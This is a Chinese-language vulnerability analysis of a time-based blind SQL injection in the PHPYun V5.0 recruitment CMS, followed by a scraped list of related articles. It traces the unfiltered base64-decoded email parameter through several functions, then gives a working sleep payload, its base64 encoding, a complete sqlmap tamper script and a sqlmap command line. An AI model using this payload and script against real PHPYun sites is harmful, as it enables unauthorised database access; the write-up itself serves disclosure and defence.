*世界上最愚蠢的事莫过于我们无比狂热地做一件事,到最后却不知道为什么要做*

cms背景介绍

PHP云人才管理系统(phpyun)是国内主流人才管理CMS系统之一!PHP云专为中文用户设计和开发,采用:B/S+c/s技术框架,程序源代码100%完全开放!基于PHP 和 MySQL 数据库构建的为核心开发。

漏洞类型

前台SQL盲注

漏洞描述

Phpyun最新版本V5.0中,在用户邮箱认证处,存在SQL延时注入。其未对 base64解密后的email参数进行任何过滤,从而导致漏洞产生。

漏洞产生链分析:

漏洞产生点位于 app\controller\qqconnect\index.class.php的cert_action函数

可以看到此函数开头将GET取得的结果经过base64_decode函数解码后分割引入 $arr数组中,此时可以绕过全局过滤,代表此处可以控制$arr[3]的值。再往下看:

此时可以看到,由于$arr[3]的值可控,所以导致$data的 email参数可控,并且引入upCertInfo函数的email参数可控。在跟进 upCertInfo函数:

可以看到在此函数中$data以及$whereData参数未经任何过滤又将其引入 upCertEmail函数,继续跟进:

可以看到此函数同样未对data数组中的参数未经过任何过滤,此时$email变量可控并将其引入 getCertInfo函数中,继续跟进:

可以看到又将可控数据引入 select_once函数中,此时$whereData中的check可控,继续跟进:

此函数中可以看到,将拥有可控数据的$where引入checkWhere 函数(篇幅问题,代码不贴了),其函数为判断是否有limit,orderby ,orderbyfield,groupby,having 等等,并将其参数修改为`email` = $email这种格式,并且还是未对其中参数做任何过滤。

现在基本确定存在SQL注入漏洞,此时只需本地复现即可。首先查看phpyun的路由调度。

可以看到module名为$_GET[‘m’]的值,所以此处 m的值应该为 qqconnect

控制器为C ,函数为A。由于qqconnect模块下的控制器名为 index.class.php所以c为index 。由于函数名为cert_action,所以a为 cert。

漏洞利用条件

一、首先数据库phpyun_member表中必须有用户(可以自行注册,由于该系统是招聘系统,所以不存在无法注册的问题)

二、由于db.safety.php中对传入数据的限制,通过GET传入的数据最大为80个字符,并且还是经过base64加密的。所以payload应该只有56个字符左右的限制,有大佬的话可以尝试尝试更进一步的利用。

三、phpyun_company_cert表中必须有数据,否则SQL 注入无法成功。

漏洞本地复现

设置payload为:2|||‘or (if(true,sleep(5),1));#

将payload通过base64加密: Mnx8fCdvciAoaWYodHJ1ZSxzbGVlcCg1KSwxKSk7IyA=

可以看到响应时间为5082millis。约为5秒。 SQL注入复现成功。

使用SQLMAP进行注入

首先要使用SQLMAP进行注入验证需要编写SQLMAP脚本辅助。观察payload,发现要将sqlmap中测试需要的payload前面添加 2||| 。并且将添加数据后的payload进行base64编码。

编写脚本:phpyun.py

#!/usr/bin/env python

"""

Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)

See the file ‘LICENSE‘ for copying permission

"""

import base64

from lib.core.enums import PRIORITY

from lib.core.settings import UNICODE_ENCODING

__priority__ = PRIORITY.LOW

def dependencies():

pass

def tamper(payload, **kwargs):

""" phpyun payload

>>> tamper("1‘ AND SLEEP(5)#")

‘MScgQU5EIFNMRUVQKDUpIw==‘

"""

payload = "2|||"+payload    #给payload添加我们需要的数据

return base64.b64encode(payload.encode(UNICODE_ENCODING)) if payload else payload    #对新payload进行加密

将此脚本放入tamper文件夹中便可使用。

SQLMAP命令 :python sqlmap.py -u "http://target.com/?m=qqconnect&c=index&a=cert&id=1" -p "id" --tamper="tamper/phpyun.py"  --technique T  -v 3  --dbms "mysql"  --risk 3

注:sqlmap参数必须设置 --risk 等级为3。由于风险等级默认为1,payload使用and逻辑判断,会导致sql注入检测失败。将风险等级设置为3时,payload会使用OR逻辑判断。所以此处必须设置。(风险等级为3的情况下,谨慎测试upload的SQL语句。)

漏洞修复方案

建议对app\controller\qqconnect\index.class.php的cert_action 函数中的$arr[3]使用CheckRegEmail函数检测。具体修复方法等待官方补丁phpyun官方网站

php100漏洞,phpyun人才管理系统V5.0 SQL注入漏洞分析相关推荐

  1. php 越权 漏洞,PHPYUN最新版多处SQL注入及越权操作二

    ### 简要描述: PHPYUN最新版(phpyun_v3.1.0604_gbk)多处SQL注入及越权操作 虽然PHPYUN在注入防御上已经做得很不错了,方的很严格,像吃掉引号,宽字节的基本上很少了, ...

  2. WeiPHP5.0 SQL注入漏洞1

    本博客已搬迁至:https://n0puple.github.io/ 此处不再更新文章 本文仅用于技术讨论与研究,文中的实现方法切勿应用在任何违法场景.如因涉嫌违法造成的一切不良影响,本文作者概不负责 ...

  3. wordpress漏洞_多个WordPress插件SQL注入漏洞分析

    背景 SQL注入漏洞是用来构建SQL查询的用户输入未经适当处理导致的漏洞.比如: 图1: 使用WordPress的SQL查询示例 从上面的代码来看,其中存在SQL注入攻击漏洞,因为从$_GET中提取的 ...

  4. /plus/recommend.php sql注入漏洞,DedeCMS 全版本通杀SQL注入漏洞利用代码及工具 -

    DedeCMS 全版本通杀SQL注入漏洞利用代码及工具 目前官方最新版已修复该漏洞 V5.7.37 GBK正式版20140228常规更新补丁 http://www.dedecms.com/pl/ ht ...

  5. 【原创】风讯DotNetCMS V1.0~V2.0 SQL注入漏洞

      文章作者:rebeyond 注:文章首发I.S.T.O信息安全团队,后由原创作者友情提交到乌云-漏洞报告平台.I.S.T.O版权所有,转载需注明作者. 受影响版本:貌似都受影响. 漏洞文件:use ...

  6. PHPCMS V9.6.0 SQL注入漏洞EXP

    运行于python3.5 import requests import time import re import sysdef banner():msg = '''--------------EXP ...

  7. 最新dotCMS SQL注入漏洞 攻击者可获得敏感数据 绿盟科技发布安全威胁通告

    dotCMS 3.6.2以下版本可能存在SQL注入漏洞 ,绿盟科技发布<dotCMS SQL注入漏洞安全威胁通告>,通告全文如下 2017年2月15日,seclists.org网站发布了关 ...

  8. 拿到一个网站,怎么判断该网站是否存在sql注入漏洞?

    漏洞挖掘 漏洞利用 修复漏洞 sql注入漏洞.文件操作漏洞.xss.rce.逻辑漏洞 反序列化.... sql注入漏洞: 网站的数据库 脱裤 拖取网站数据库 数据库基础: 数据库基本结构:数据库 -- ...

  9. 宏景eHR SQL注入漏洞复现(CNVD-2023-08743)

    0x01 产品简介 宏景eHR人力资源管理软件是一款人力资源管理与数字化应用相融合,满足动态化.协同化.流程化.战略化需求的软件. 0x02 漏洞概述 宏景eHR 存在SQL注入漏洞,未经过身份认证的 ...

最新文章

  1. 【C】数组数组初始化总结
  2. 05-自己创建mapmodel自定义迁移方式
  3. Spring Boot 学习系列(02)—使用热部署,提升开发效
  4. 阿里云ECS——[您的云服务器(xxx.xxx.xxx.xxx)由于被检测到对外攻击,已阻断该服务器对其它服务器端口(TCP:6379)的访问]解决方案
  5. 关 于 正 则 表 达 式 的 类 习 题
  6. 知乎上这个程序员火了,竟是因为给老板修了一 次U盘
  7. Python知识整理_1
  8. Jaxb2 转换XML文档
  9. 【渝粤教育】国家开放大学2018年春季 7392-21FMatlab语言及其应用 参考试题
  10. ArcMAP 空间连接和相交工具使用
  11. Win11系统开启控制面板会闪退怎么解决?
  12. 胶囊神经网络模型简介_胶囊网络简介
  13. 小水智能-智能楼宇智慧建筑3d可视化,让钢铁水泥也可以沟通交流
  14. XPath之电影天堂数据爬取
  15. 复变函数题目(持续更新)
  16. MATLAB学习系列--绘制函数曲线
  17. 基于C++的一元多项式相加
  18. C++中的new和delete运算符(内存管理)
  19. java毕业设计二次元信息分享平台mybatis+源码+调试部署+系统+数据库+lw
  20. Ubuntu系统怎么进入grub界面

热门文章

  1. 查询出部门编号为30的所有销售的详细信息
  2. ABP +VUE Elment 通用高级查询(右键菜单)设计+LINQ通用类Expression<Func<TFields, bool>>方法
  3. 群体智能算法可投稿期刊
  4. 服务器被黑该如何查找入侵、攻击痕迹
  5. 超强:Windows正版增值验证工具(KB892130)对付办法
  6. 华为手机7个超实用的功能,关键时刻帮你大忙,赶紧开启吧!
  7. 夜幕降临,一起探讨awk编辑器
  8. USB接口、USB接法、USB延长线
  9. javascript Wscript.Shell
  10. php编写文件管理工具,php之markdown文档管理工具的实现代码